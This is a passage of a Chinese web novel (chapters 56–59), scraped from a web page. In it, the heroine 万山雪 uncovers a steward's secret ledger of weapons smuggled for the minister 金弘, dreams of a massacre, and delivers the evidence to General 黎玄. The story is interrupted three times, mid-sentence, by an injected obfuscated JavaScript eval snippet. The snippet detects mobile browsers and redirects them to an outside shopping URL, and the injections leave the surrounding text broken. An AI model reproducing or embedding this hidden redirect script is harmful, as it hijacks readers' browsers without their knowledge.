她躲在桌下点了蜡烛来看，是一本薄册子，和账房里那些账册一模一样。只是这一本更旧，边角都磨得起毛了。 字迹是丰德的，但比平日记账的字更工整，一笔一划都透着郑重： “盛和二年十月始录。老爷病故后，夫人掌家，不出四年规矩尽废。老奴受老爷临终之托，不敢负恩，故暗记诸事于此，若得天日，望后来者知晓：崔家之孽，起于夫人之贪，非老爷之志。经商者本以诚信立世，今沦为藏污纳垢之囊，老奴每念及此，痛彻心扉。” 56. 第 56 章 她的手指控制不住开始战栗，翻到第一页，看记的是： “十月十五，五车绢布往江州，夹带铁锭一百斤，以绸缎捆芯充之。接货人王魁，系鹤翁府外管事。” “十一月廿三，蜀锦二百匹往晋陵，夹带硝石一百斤，分装十锦盒底层。” “正月十八，云锦一百五十匹往秀州，夹带兵械配件八十件，伪装成织机零件。” …… 越往后翻，夹带之物越危险：从铁锭硝石，到兵械配件，再到弩机、箭镞…… 一页一页，触目惊心。 万山雪原是蹲在桌子下面的，这会儿完全趴下去了。册子摊在地上，烛光照在泛黄的纸页上，那些字像活了一样在她眼前舞动。 她翻到最后一页，墨迹很新，想是昨夜才添上去的：冬月初五，依鹤翁要求，三百匹杭稠需夹带兵械两百件，老奴夜不能寐，泪湿衣襟。回想起兄长在世时诸般教导，痛悔难当。” 纸页的下半截，果然有被水渍晕开的痕迹，像一朵朵凄苦的花。 粗略估算，四年下来，经崔家之手流往南方的铁锭不下万斤，硝石数千斤，兵械配件足以装备一个营。而崔家从中获利，也就可想而知了。 她猛地合上账册，坐起身来，将头抵在桌边大口喘气。手中烛火跳动着，将桌子连同她的影子投在墙上，晃得像随时要扑过来的鬼魅。 她曾听父亲说过，金弘早年在江南一带为官多年，半数官员出自他门下，隐藏这些禁运之物想来轻而易举。可此举究竟有什么目的？ 答案让她不寒而栗。 听闻先帝托孤之时，金弘痛不欲生，呕出一口心头血来，以额触地发誓道：“自今日起，臣之躯壳即为国之篱栅，臣之魂魄即为国之烛火，竭尽全力辅佐幼主，至死方休。” 盛和二年…… 不过两年多的时间，他就将野心付诸行动了，人心当真如此易变么？ 万山雪灭了烛火，将账本紧紧抱在胸前。月光清冷如水，透过窗纸洒进来。 远处传来隐约的更鼓声，三更了。 她把册子按原样放回去。退到门边时，忍不住回头看了一眼这间小屋——简陋，朴素，一如丰德数年来的隐忍。 轻轻拉开门，寒夜冷风灌进来，她打了个寒噤。反手带上门，将银簪重新插回发间。 回到房中，红璎已经睡下，橘霜坐在灯下缝制暖袖，见她回来，连忙打水伺候洗漱，歇下不多会儿，便听见橘霜绵长的呼吸。 没有心事真好。 万山雪有些羡慕，她睁着眼一直到东方启明星亮起，方才迷迷糊糊睡去。 忽地听见有人敲门，一声急过一声，呼唤橘霜和红璎不听应声，连忙跳下去开门，外面却空无一人。 隔着栏杆一望，竟是黎偃松在院子里的榆树底下站着，正冲她招手。阳光透过榆树叶子洒在他的肩头，暖融融的。 她飞奔到他跟前，又惊又喜：“将军您怎回来了？我正想着跟您报信呢，心澜和我弟弟好不好？我方才得知一个秘密……” “你随我来。” 黎偃松伸手牵住她，手掌宽厚温热，一如其人。 不知为何，她居然没有反抗，任由他牵着她走过熟悉的回廊，走过账房，走过堆满绸缎的西仓。阳光追随着他们的脚步跳跃，明亮又温暖。 红缨与橘霜在井边戏水打闹，清脆的笑声洒遍了整个院子，见了他们不约而同停下来，抿嘴微笑。丰德拨着算盘，鬓发泛着银色，还冲他们躬了躬身子。 一切那样安宁美好，她暗暗诧异，黎将军牵着自己，竟无一人觉得不对。 她想要将手抽出来，黎偃松却将她握得更紧了，他侧过头，温柔地冲着她笑，好像两人已是相恋多年的爱人。 她一时有些恍惚，努力回忆过往。 就在这时，黎偃松伸手推开那扇临街的雕花木门，光芒汹涌而入，万山雪眯起眼，视线清晰时，惊得一下子跳了起来。 外面是黑压压的人，多得看不清面目，她忍着刺痛一个一个辨认，才发现自小到大认识的人几乎全在里面，为首的竟是金弘和尤氏！ 越过密不透风的人墙，往更远处望去，她连呼吸都窒住了。长街两侧的屋顶上、窗扉后，影影绰绰，赫然是无数张弓搭箭的身影。箭镞连成一片，在烈日下闪烁着冰冷的光。 “别怕。” 黎偃松侧头低语，声音平稳无波，仿佛眼前不是杀阵，只是寻常风景。他向前踏了一步，将她护在身后。 就在这时，街口传来马蹄声。 江心澜来了。 她一身红艳艳的骑装，一团火似地策马疾驰而来，马蹄踏在青石板上溅起清脆的响。跟在她身后的，是个穿着崭新军服的少年——是万山毓！ 少年脸上还带着稚气，眼睛却亮得惊人，紧紧跟在江心澜马后。 随之到来的是景明洲，金鲤，青鲤，黎家老老少少，全都在…… 万山雪急得跺脚：“掉头，快走！你们快走啊！” 声嘶力竭，他们却一个字也听不见，也看不见眼前危险似的，继续往这边来。 “万姐姐，黎偃松！”江心澜扬声喊，笑容灿烂如夏日石榴花，“你们呆站着作甚？难得今儿齐全，上马去西山逛逛啊！” 她的声音戛然而止。 因为她看见了那一片弓弩。 直到他们全部进入弓弩手的范围内，金弘这才振臂一挥，脸上迸发出一种近乎狂喜的光芒，高喊道：“人既齐了，就开宴吧！” 弓弦震响之声如同地府传来的狞笑，黑色的、白色的、带着倒钩的、淬着幽光的……密密麻麻的箭矢遮天蔽日，像是狂暴的蝗虫，铺天盖地扑面而来。 “不！” 万山雪撕心裂肺大喊一声，上前要去护黎偃松，却一步也挪不了。 她眼睁睁看着，一个年轻士兵被三支箭同时贯穿胸膛，他愕然低头，似乎想看清伤口，已经直挺挺向后倒下。 另一匹战马惨嘶着跪倒，马腹上插满了箭矢，骑手被甩落在地，尚未爬起，便被紧追而至的箭矢钉死在地上。 黎偃松一面将她向屋里推，一面奋勇挡箭，奈何崔记大门紧锁。厮杀到最后，见脱身无望，他猛地转身，将她整个护在怀里，用脊背迎向箭雨。 “噗噗噗——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903412|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是箭镞穿透铠甲、没入血肉的闷响。万山雪的脸紧贴着他的胸膛，能清晰地感觉到每一次箭矢击中他身体时的震动。温热的、粘稠的液体，迅速浸透了他的衣衫，也染红了她的脸颊。 “黎将军，不要……黎偃松！”她绝望嘶喊着，抬头看他。 他依旧站着，背脊挺直如松，额角青筋暴起，可低头看她时，那双深邃的眼睛里，竟还是如静湖一般宁静。 “闭眼，别看。”他哑声说，嘴角却有蜿蜒的血线流下。 “不……不……”她哭喊着，徒劳地用手去捂他背上的伤口，可那血如泉涌，根本捂不住。 又是一阵更密集的箭雨。 江心澜的尖叫传来。 万山雪从黎偃松肩头看去，只见那袭红衣已被血染透，她的左臂软软垂下，显然已断，右臂仍奋力挥剑，她的周围，黎家亲兵已尽数倒下。一支箭穿透了她的腹部，她踉跄了一下。 “心澜，心澜！” 江心澜回头，看向她和黎偃松，沾满血污的脸上，竟扯出一个欣慰的笑。她用口型说了两个字：“快……走……” 话音未落，十数支箭同时没入她的身体。 那抹耀眼的红，终于缓缓倒下，像一朵被狂风暴雨碾碎的花。 “不——！心澜！心澜——！”万山雪的哭声绝望如同野兽哀嚎。 黎偃松的身体也晃了几晃。他背上如刺猬般插满了箭矢，银甲早已看不出颜色，只有一片触目惊心的暗红。他抱着她的手臂，力道在一点点流失。 “将军，将军……”她泣不成声。 他看着她，嘴唇翕动，似乎想说什么，可涌出的只有更多的血沫。他用尽最后力气，抬起手来，似乎想擦去她脸上的血和泪，指尖却只无力地划过她的脸颊，留下一道温热的湿痕。 那支撑天地的脊梁，终于折断了。 他沉重地倒了下去，却仍下意识地用最后一点意识，将她护在身下，挡住最后几支落下的箭矢。 视线所及，是他近在咫尺的、苍白的侧脸，和那双缓缓阖上的、再无生气的眼睛。万山雪慌得不知道怎么办才好：“将军，将军，黎偃松，你不能死！” 景明洲、青鲤、金鲤还有弟弟，还有那么多的将士，他们一个接一个的倒下去了。 尸横遍地，黎家军乃至黎家人全军覆没，血流成河。 世界彻底安静了。 箭雨停了。 万山雪一动不动，仿佛魂魄已随他们而去。 不知过了多久，她听见一阵脚步声。 有人将她从黎偃松身下拽了出来，抬头一看，竟是尤氏。 她脸上带着嫌恶，却又掩不住狂喜。踢了踢黎偃松，确认他已死透，这才松了口气。 她蹲下身来，掐住万山雪的下巴，开怀大笑道：“我的好儿媳，全都瞧见了吧。这番功成多亏了你，若非你取得了黎家信任，要抓住这小子，还真不容易。金相国不会亏待你的，这一生荣华富贵，你就享受吧！” 金弘逆光站着，看不清脸上的表情，只听仰天长啸，而后说道：“全部拖走，碎尸万段，以解我心头之恨！” 57. 噩梦醒来 “啊——” 万山雪猛地从床上弹坐起来，喉咙里挤出的尖叫声嘶哑破裂，在寂静的房间里回荡。 她浑身冷汗涔涔，寝衣湿透，紧贴在肌肤上。心脏在胸腔里疯狂擂动，连肋骨都生疼。眼前还残留着漫天箭影和泼天血色，鼻端还能闻到浓重的血腥气。 “二奶奶您怎么了？哪里不舒服？”橘霜被惊醒，连滚带爬地扑到她身旁。 红璎知道她怕暗，又点了一盏灯，屋子里彻底亮起来，驱散了黑暗，却驱不散她骨髓里的寒意。 万山雪剧烈地喘息着，低头看向自己的双手——还好，干干净净。又慌乱地摸向自己的脸颊、脖颈，也没有血。她掀开锦被，跌跌撞撞地扑到妆台前，看向铜镜。 镜中的女子披头散发，脸色惨白，一双眸子通红，满是噩梦灼烧的痛楚，交织的恐惧与恨意几乎要溢出来。 幸好，只是一场噩梦。 她扶着妆台，腿软得几乎站不住，缓缓滑跪在地。 红璎与橘霜吓坏了，连忙过来扶她，却被她摇头制止，她跪坐在冰冷的地上，双手死死地捂住脸。 梦中的绝望太过真实，真实到她犹自怀疑此刻是梦是醒。但那份彻骨的冰冷和仇恨，却无比清晰地烙印在了她的灵魂上。 尤氏、金相国……他们每一个人，都可能在下一刻变成梦中那般狰狞的面孔。而黎偃松、江心澜、弟弟，还有那些士兵们……他们不能落得那样的结局。 她不能等了。 一刻也不能。 她撑着妆台，慢慢地站了起来。 “替我更衣。” 橘霜与红璎对视一眼，走上来扶着她轻声说道：“这会儿才五更天，奶奶夜里睡得晚，再歇会儿。” “不，更衣。”她又重复一遍。 红璎没柰何，只得说道：“好，我去打热水来，橘霜，你将暖笼往这边挪挪，衣服烤热了再给奶奶穿，天儿要冷掉耳朵。” 换好衣服，一杯热水下肚，她才觉得整个人渐渐活了过来。红璎将暖裘寒梅大氅烤得热乎乎的，给她披在身上，她蓦地想起梦中黎偃松最后温热的怀抱，心口又是一阵尖锐的刺痛。 那样谦和持重的将军，最后…… 她眼底一热，不愿再想下去，赶了丫鬟们继续睡下，自己则取笔将默记的账写下来。 可是才一落笔，梦里支离破碎的画面便涌了上来，手抖得握不住笔，浓墨滴在纸上，洇作一团。 她转念想到，该相信丰德么？ 铺子里藏着这样重大的机密，尤氏怎么会答应她的要求长住在此？难不成真如梦中那般，是他们联手将她当作棋子，来接近黎家人？ 她陡然起了一层鸡皮疙瘩。 可那毕竟只是个梦，倘或她置之不理，崔家运去的那些弩机配件，有朝一日真的用来对付黎偃松和部下，那时可就悔之晚矣。 她来回思想，几乎要将自己撕成两半，瞥见窗纸透进来些许晨光。新的一天开始了，铺子要开，生意要做，既想不出结果，不如先放一放。 她将那张纸撕得粉碎，努力调整了思绪，对丫鬟嘱咐一声，就下楼了。 这会子才卯时初，伙计们陆陆续续起床了，前堂打扫得干干净净，匾额是每日都要擦的，在晨曦里泛着柔和的光泽。 她站在大门外面，看着京城睡眼惺忪地醒来。 挑担的小贩吆喝着“热乎的豆汁儿”，迈着轻快的步子走过去。有人赶着驴车而来，车上的妇人抱着孩子，娘俩裹得严严实实，擦身而过扬起些许尘土，混着飘来的早点香气。 平淡的日常，如同冬夜炉火一般令人踏实安定。 这是一个太平年景的清晨，是她生命里近七千个清晨里的一个。活在这里头的人，大概和从前的她一样，认为这份宁静理所应当地持续下去。 就在眼前这片空地上，承载着她的噩梦，那些鲜活的、无辜的、忠心为国的人，次第倒了下去。 泪水漫了上来，她扬起脸试图抑制回去，却怎么都止不住。弥漫多日的恐惧与担忧，全都化作了热滚滚的眼泪，淌了满脸。 “二奶奶？” 身后传来迟疑的声音，是丰德。 她念头一转，放下想拭泪的手，转过身去，哽咽道：“丰叔昨儿辛苦，怎不多睡会儿？” “习惯了，到点就醒。”丰德顿了顿，“二奶奶这是怎么了？” “没什么，做了个噩梦，心里难受得紧。”万山雪拭着泪，暗暗留心他的神情。 丰德点点头，半晌方道：“二奶奶既是精神不济，今日就不要下楼忙碌了，好好歇歇。” 万山雪看着他才四十来岁，已经半头白发，还有眉目间隐约的愁苦，终于忍不住试探道：“无妨，只是有些想念舍弟。我母亲去得早，姐弟俩从来没有分开过这么久，很是想念。不料就做了那样一个梦。” 她抽噎着继续说下去：“好好儿的，不知怎么梦见起了战事，奇怪的是，不在边疆，竟在咱们铺子跟前。丰叔你说这奇不奇？更意想不到的是，黎将军带着人赶回来保护百姓，奈何敌人算计太深，黎将军的队伍最后伤得好不凄惨，弟弟也受了伤……” 她说不下去了，以帕子掩面，转过头去。 丰德沉默了。 待万山雪平复一些他才说到：“二奶奶这个噩梦，倒勾起我一腔心事来。我的兄长，当年也是死在战场上的。” 万山雪一怔。 “不是什么大人物，就是个无名小卒。”丰德望着渐渐热闹起来的街道，眼神却飘得很远，“三十多年了，那年北敌犯边，朝廷征兵。老父年迈，我又年幼，兄长便义无反顾地去了，留下有身孕的嫂嫂。” “后来呢？” 他的声音很平静，却听得人心头发紧：“后来，官府送来抚恤金，三十两银子，一条人命，唉……可是那年头朝廷也很难。还送来了块统一制作的荣誉牌，上面刻着他的名字。当年我娘就伤心过度，撒手去了。我爹拖着病体撑到次年，孙子过完百日宴，也走了。” 晨光斜斜地照下来，将他的影子拖得长长的，孤零零地映在石板路上。 哀莫大于心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912320|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死，原来是这样的情形。 这个看起来无坚不摧的中年人，提起兄长时眼底下汹涌的哀恸，看得她几欲心碎：“丰叔为了养活嫂嫂和侄儿，就来了崔家？” 丰德点点头：“嫂子月子里就开始做绣品养家了，属实不易。我出去找事做，见人就求，可才十岁，谁肯花钱雇我？找来找去，饿晕在了崔家门前。当时老爷跟着父母才到京城，还在猫耳街那一带住，才不过十三岁，却作主收留了我，也等于救了我们三条人命。” 万山雪想到他在账本里写下关于崔父的字句，皆是充满了感激，原以为只是主仆感情好，没想到还有这样的故事。 “如今，丰叔的嫂嫂和侄子都很好吧？” 丰德的脸上如同枯木逢春，忽地绽放出光彩来：“都很好，侄子成家了，有两个孩子，大的都快跟我这般高了，小的是个姑娘，长得粉团似的，很是可爱。” 她忽然想起翻箱倒柜时，竟不见他屋子里放着什么现钱，想来挣的大头都给了亲人。 她思忖片刻，有意问道：“丰叔，倘若……我是说假设，当年您兄长出征前，您知道那是有去无回的，会不会想尽一切办法去做挽救？” “不会。兄长出征乃是情势所迫，往大了说，称得上一句为国为民。他不死，也会有别的人死。谁的命放在秤上，分量都是一样的。” “那若是有人刻意构陷忠良，他们性命丢得很不值得呢？”万山雪紧追不舍，死死地盯着他。 丰德浑身一震，深深地看着她。 她知道，她此举太过大胆，可是她不愿意再反复顾虑来回纠结，白白浪费许多时间，她自问没有那个头脑去玩猫鼠游戏，乱拳打死老师傅说不定还来得高效些。 晨光在他们之间流动，微小的尘埃蒙蒙飞舞，两人静静地对立半晌。 最后丰德缓缓躬身，行了一个郑重其事的礼，转身走了。 午前晴好的太阳躲进云里不肯出来，晚膳后下起了绵绵密密的冬雨，冻得人骨头缝儿都是疼的。 她站在窗前，看着雨丝在灯笼光里织成密网。 橘霜忧心说道：“奶奶真的要一个人去黎家？虽然芳林姐姐说会派人接应，我心里还是七上八下的，怕得很。” 红璎说道：“花露写的那些，让芳林姐姐带过来就好了，这样子来回折腾，费事不说，还危险得很。” 万山雪好容易说服了她俩熄灯歇下，糊弄过守店的伙计悄悄出门了，冷风裹着雨星扑面而来。她拉紧斗篷，踏入夜色。 冬夜街巷空无一人，只有屋檐滴水的声音，嗒嗒敲在青石板上。灯笼在风中摇晃，投下令人眼花缭乱的光晕。她专挑小巷走，避开巡夜的更夫。 约好了在七宝坊铺子前接头，走过去要将近两刻钟。她走得很快，狐裘下摆沾了泥水也浑然不觉，全副身心都在警惕着。 转过一个街角，忽地听到前面传来一阵脚步声，她只觉汗毛倒立，眼见身旁没有可藏身的地方，想起才刚路过一处门洞，迅速向后跑去，这一转身可就蒙了。 身后立着一个人。 58. 第 58 章 她倒抽一口冷气，下意识想要往前跑，却被那人伸手一拽，扯到了身后门洞罩下的阴影里。 待巡逻的人走过去，那人才轻声开了口：“二奶奶，是我。” 两人借着附近人家透出来的微光对视，是丰德。 那张总是沉静的脸上，此刻有种近乎悲壮的勇敢。 他双手将布包递上：“这个，您带着吧。” 万山雪佯装不懂：“丰掌柜这是……” “我知道，二奶奶看过这个账本。” “您今日问我那些话，我就知道不对了。这里面有根黑发，”丰德苦笑一声，“我这头上怕是找不出一根这样乌黑发亮的青丝了。” “丰叔，您可知道，交出这些的后果是什么？” “就是因为太知道，才隐瞒了这几年。老爷一家待我恩重如山，这一交出去，将来到了地底下，我没法跟老爷交差。这是其一，再者，毕竟这些都是打我手上过一遭的，事发后难保不被牵连，好容易过上了平静的生活，我不愿意打破……” 他的嗓子哽住了，过了片刻才说道：“是二奶奶的话提醒了我。我兄长之死，是为驱除外敌，堂堂正正，哪怕占地再小，也是在功劳簿上。可这一众忠心耿耿的年轻人，尤其是黎将军，几代人为国捐躯，若是真在阴谋诡计中丢了性命……家国面前，我不能为了私恩，做这样伤天害理的事，也算是为我自身赎些罪孽吧。” 万山雪将布包紧紧抱在胸前，喉头哽咽：“丰叔，您……” “二奶奶快去吧。” 丰德直起身，又恢复了往日恭顺的模样，“我想为二爷求个情，他起初是被蒙在鼓里的，后来知道时，已没了回头路。请二奶奶将责任都推与我，我这一辈子吃喝过了，见识过了，家人也安置得当，再没什么放不下的了，二爷他还年轻。至于太太，她所做的事情，实在难以圆过去，只好听天由命吧。二奶奶，您万事小心。” 七宝坊的门紧闭着，她按照约定叩门，三轻一重，有婆子开了门，也不多问，侧身让她进去。 穿过七宝坊的前厅，后面是个小小的院落，种着几丛翠竹，清幽安静。婆子引着她来到东边的屋子前叩门。 里面传来沉稳的声音：“进来。” 这屋子里陈设简朴，除了两架书册和桌椅之外，再无其它。 黎老将军坐在案后，穿着家常的深灰色道袍，旁边立着的是黎偃松的大堂哥，黎偃成。 见她进来，老将军放下信，颔首道：“万姑娘。” 随后歉然一笑改口道：“万夫人，第一次见你时，你约莫只有十二三岁，故而总觉得你还年幼着。” 万山雪愕然，她完全不记得从前见过老将军，半天也没想起来，便诚恳说道：“我这个人脑子不大灵光，容易忘事。既是老将军说从前见过，如今又几多交集，就还叫我万姑娘吧，我也厚着脸皮沾沾江姑娘的福气，唤您一声伯父。” 黎玄微微一笑：“你找我有要事？” 万山雪从怀中取出那个深蓝色布包，双手奉上：“老将军，这是崔家这些年来，为金相国运输禁品的全部证据，乃丰德掌柜亲手所写的秘账。” 黎玄周身一震，坐直了身子，却没有打开，而是深深地看了她一眼：“孩子，你乃崔家媳……” “伯父，我想清楚了。此事一旦揭开，崔家便是抄家灭门之罪，我身为崔家妇，难逃牵连。” 万山雪抬起眼，目光清亮而坚定，“我若不知便罢了，既因缘巧合知道了，这些证据若不见天日，忠贞之士们恐遭不测。比起那么多性命，我之安危，不足挂齿。若为一己之私隐瞒此等祸国之事，我余生难安。” 黎老将军沉默良久，最终长叹一声：“好一个‘余生难安’。” 他一页页翻看起来。 房里安静极了，只有翻动纸页的沙沙声。烛火跳动，映着老将军越来越沉的脸色。 看到最后一页时，他猛地一掌拍在案上：“好一个金廷玉！好一个崔家！” 案上的茶盏震了震，茶水溅出几滴，黎偃成接过去才看了两页就神色大变，急得用手比划着什么。 那样清雅的男子，竟然是个哑巴。万山雪心生怜悯，垂眸坐着，手指在袖中微微收紧。 黎老将军长长吐出一口气，将册子小心收起。 他看向万山雪，眼神复杂：“万姑娘，请许我代偃松，代南下的将士，谢谢你，请受我这个残废半礼。” 说着，对着她长长一揖。黎偃成急忙上前，应了全礼。 万山雪慌忙起身避开：“伯父折煞晚辈了。这些证据，并非我一人之功。” 她干脆从那晚家丑说起，从头至尾，包括丰德之事。兄长如何战死，他如何进的崔家，又如何暗中记录下这一切，连同那个可怕的梦境，都没漏下。 “说实在的，直到这会儿，我心里还在怀疑，铺子里藏着这样大事，婆母究竟是认为我是个草包，看不明白他们的计谋，才打发我来这里，还是真的与金弘丰掌柜他们联手，设个圈套让我跳。可此事关系重大，我不敢全信，亦不敢置之不理。” 黎老将军静静听完，手指在案上轻叩，陷入沉思。 “丰德……丰德，这个姓倒是不多见，好似在哪里见过。”他喃喃念着这个名字。 黎偃成忽然起身走到墙边的书架前，从最底层抽出一本厚厚的册子。 册子封面已经褪色，上面写着“永康二十四年北疆阵亡将士名录”。 他快速翻动着泛黄的纸页，指尖在一行行名字上划过。书房里只有纸页翻动的沙沙声，还有烛火偶尔的噼啪声。 万山雪屏息等着。烛光随着他的动作微微晃动，落在老将军花白的头发上。 他的手指停在一页纸上，指给黎玄。 黎玄看了一眼，便抚掌叹息：“正是，正是他，丰年。” 又将册子递给万山雪看，纸上密密麻麻写满了名字，其中一个用朱笔勾画过：“丰年，骁骑营步卒，景和十八年九月初七战死于黑山峪，抚恤银十两。” 下面还有一行小字注：“丰年家中老父年迈，幼弟方十岁，妻有身孕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918515|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。由家中出二十两银子，一并以朝廷名义送去。” 万山雪看着那行字，喉头哽住了。 “这行字是我大哥加上去的。”黎老将军的声音低沉，“北疆连年战事，国库空虚。阵亡将士的抚恤……一减再减。十两银子，确实只够办一场简薄的丧事。” 他闭了闭眼：“那一战十分惨烈，死了三百七十六人，丰年是其中之一。他们那个队，连我大哥算上，只活下来三十三个。” 老将军睁开眼，眼中有着深重的疲惫：“战后清点，大哥特地将这些名单抄录回来，要家里根据不同的情况，分别加一些银两，以朝堂名义发放。可后来战事不断，伤亡越来越多，他也去了，这些英魂，就渐渐只剩名字了。” 他看向万山雪：“丰德心里有怨啊，顶梁柱去了，剩下一家老小，确实很难熬。” 万山雪想起丰德说起往事时那种哀恸，想起他说“一家子就这么散了”时的语气。史书上的轻描淡写底下，是一个个被碾得粉碎的家庭。 “这也就可解释，丰叔为何会隐瞒至今了，崔家于他一家子，确有再造之恩。”她轻声问。 “那是他走投无路之际的大恩人。”老将军叹息，“十岁的孩子，要养活嫂子侄儿，谈何容易？崔家那位老爷倒是做了件善事，可惜了，去得那样早。” 他重新坐下，手指摩挲着那本名录的封面：“万姑娘，丰德此人，老夫虽未见过，但听你所言，观其所为，应是至诚之人。若真是他们串通好的，不会交出如此详实的证据——那上面记的，其实不难查证，随便几条，都够金家崔家死一次了。” 万山雪心头一松，随即又揪紧：“此事会不会牵连丰叔？还有崔明之，他……我们夫妻缘薄，可是他本性倒是不坏。而且据丰叔说，起初他是不知情的。” “此事若是顺利上达天听，破了金弘的阴谋，丰德不但不会受牵连，反而有功。单是这份担当与隐忍，就该重赏。至于令夫，届时还是要考量从他手中过的有多少。不过你放心，只要我活着，总是要尽力保他们的。” 万山雪谢过，复又想起一件事来：“我后来才知，江姑娘给我的信原来是要掩人耳目，如今伯父怎生传递这些消息与将军？” 黎玄安抚道：“朝廷有明面上的驿传系统，那是给百官用的。但军中另有暗驿，姑娘不必忧心。” 万山雪知道此乃机密之事，不能再问下去，转了话题：“这般传递，要多久能到南边？” “若一切顺利，昼夜不停，十五日可达晋陵，你别担心，金弘这个人，事情必须安排到十拿九稳他才会动手，咱们来得及。” 万山雪听到这里终于放松下来，好似千斤重担突然有人帮她分走了大半。奈何脑子紧绷了这些日子，还是不住地想东想西。 大约看出她欲言又止，黎玄温和说道：“到今天这一步，与姑娘不是亲人，也胜似亲人了。有什么顾虑直说便是，不必有任何顾忌。” “我怕的是，先皇去时皇上年幼，国事皆是金相国在处理，这暗驿会不会有他的人？” 59. 第 59 章 “先帝去时，考虑十分周详，暗驿之权只在我黎家与江家手里。” 万山雪起身道：“既是如此，我便放心了。” 她正欲起身告辞，却见黎玄出神地盯着她。一时有些窘迫，便轻声说道：“伯父可是有些累了？不如……” 黎玄忽然开口，声音很轻，像是在回忆里漂浮着：“那年偃松推着我进宫谢恩，出来时遇到了你。正当年富力强却突然残废，那阵子我心境极糟，整日阴沉着脸，吓得一家人大气都不敢出。偃成、偃钟和偃松这仨小子，看着吊儿郎当的，心思却细腻，生怕我想不开，下了学就轮流跟着我，挨骂挨打也不吭声。每日紧绷着神经，小心翼翼。” 他说着，眼里泛起了泪光：“你的小兔跑到了我轮椅脚边，我正不耐烦之时，瞧见你蹦蹦跳跳跑过来，对我说了一番弘扬的话，说我是顶天立地的大英雄。” 万山雪眼前依稀浮起模糊的影像，确有其事，可她记得当时那些颂扬的话，是见他面色骇人，急中生智的讨巧之言，没想到老将军记得这样久远。 “那些话倒罢了，我看你与偃松他们年岁相仿，你活泼泼的一派天真，他却终日战战兢兢赔着小心，心里很不是滋味儿。从那之后，才慢慢转了态度。这么多年，我们深居简出，少与人打交道，对你的消息所知不多。今年偃松巧合帮了你一把，我还说，这是上天给我一个感谢的机会。” 万山雪说道：“若说感谢，伯父一家子连江姑娘，救我的又何止一次。别的且不说，我弟弟若是继续待在京中，当真是要毁掉了。他能跟着黎将军去历练一番，一则成全了他的志向，再者身边常见的都是心性高洁之人，耳濡目染，那些浮浪气息自然就消散了。” 她话音刚落，黎偃成突然起身走了出去，她立刻噤声，回想哪句话有不妥之处。 屋里静下来，炉火噼啪作响，茶香渐渐淡了。 黎玄苦笑着摇摇头：“万姑娘别见怪，咱们聊到偃成的伤心处了。说句托大的话，我们黎家人，活得比别人更难些。男子们一个个倒下，女眷们日夜悬着心，偏是这三个男孩打小就对领兵打仗有过人的悟性。偃成的娘实在受不了，将他灌了药，毒哑了。偃钟的娘，想尽法子在饭菜里做手脚，小时候那孩子经常病得蹊跷，大夫都悄悄告诉我了……你说我们能去埋怨她们么？她们心里，苦啊！” 炉火映着老将军的脸，那张总是威严冷肃的脸上，此刻有热泪淌过深深浅浅的皱纹，每一条里都藏着岁月与风霜。 万山雪鼻头一酸，眼泪涌了出来。世人眼里高达巍峨的将军府背后，竟是这样的惨烈。 “有了前车之鉴，我提前告诫夫人，再不舍得，也决不可折断孩子的翅膀。他想往哪儿飞，就许他飞吧。后果，我们做爹娘的担着。偃松那孩子，也倔得很，小时候每次吃饭，定要从祖母碗里分，才能安心下咽。” 老将军的目光落在虚空里：“八岁那年，我回京述职，见他一个人在院子里扎马步，满头大汗，小脸憋得通红。我问他干什么，他说要练好武艺，将来替我打仗。我说打仗会死人的。他说他知道，他更要替我打仗，这样我就不会死了。” 万山雪听着，心里某个地方软软地疼了一下。 “这些年，他大大小小受了十几处伤。”老将军看向万山雪，“最重的一次在背上，刀口从肩胛划到腰，深可见骨。军医说再深半分伤到脊骨，人就废了。他在床上躺了三个月，刚能下地，又请命去了北疆。” 他顿了顿：“我骂他不要命。他说，爹，咱们黎家的人，命不是自己的，是那些死在战场上的人的，是还活着的弟兄们的，是身后万千百姓的。咱们多拼一分，他们就能少死几个。” 万山雪紧紧攥着手，指甲掐进掌心。 她忽然想起那个梦，想起黎偃松中箭倒下时，眼睛里深不见底的悲凉。那不是对死亡的恐惧，是对辜负的痛悔——辜负了跟随他的将士，辜负了肩上的责任，辜负了他拼死守护的山河。 “所以这次南下，”老将军的声音将她拉回现实，“他知道凶险，还是去了。走之前来见我，跪在地上磕了三个头。他说，爹，儿子这回若是回不来，您别难过。咱们黎家的人，马革裹尸是善终。” “万姑娘，”老将军拭去眼泪，目光恢复清明，“你今日来，是冒了天大的风险。这份情，黎家承了。往后若有难处，尽管开口。” 他从怀中取出一枚小小的玉牌，递给她：“这个你收着。若遇紧急，持此玉牌到‘回春堂’药铺，或来此地，都会有人帮你。” 万山雪双手接过。 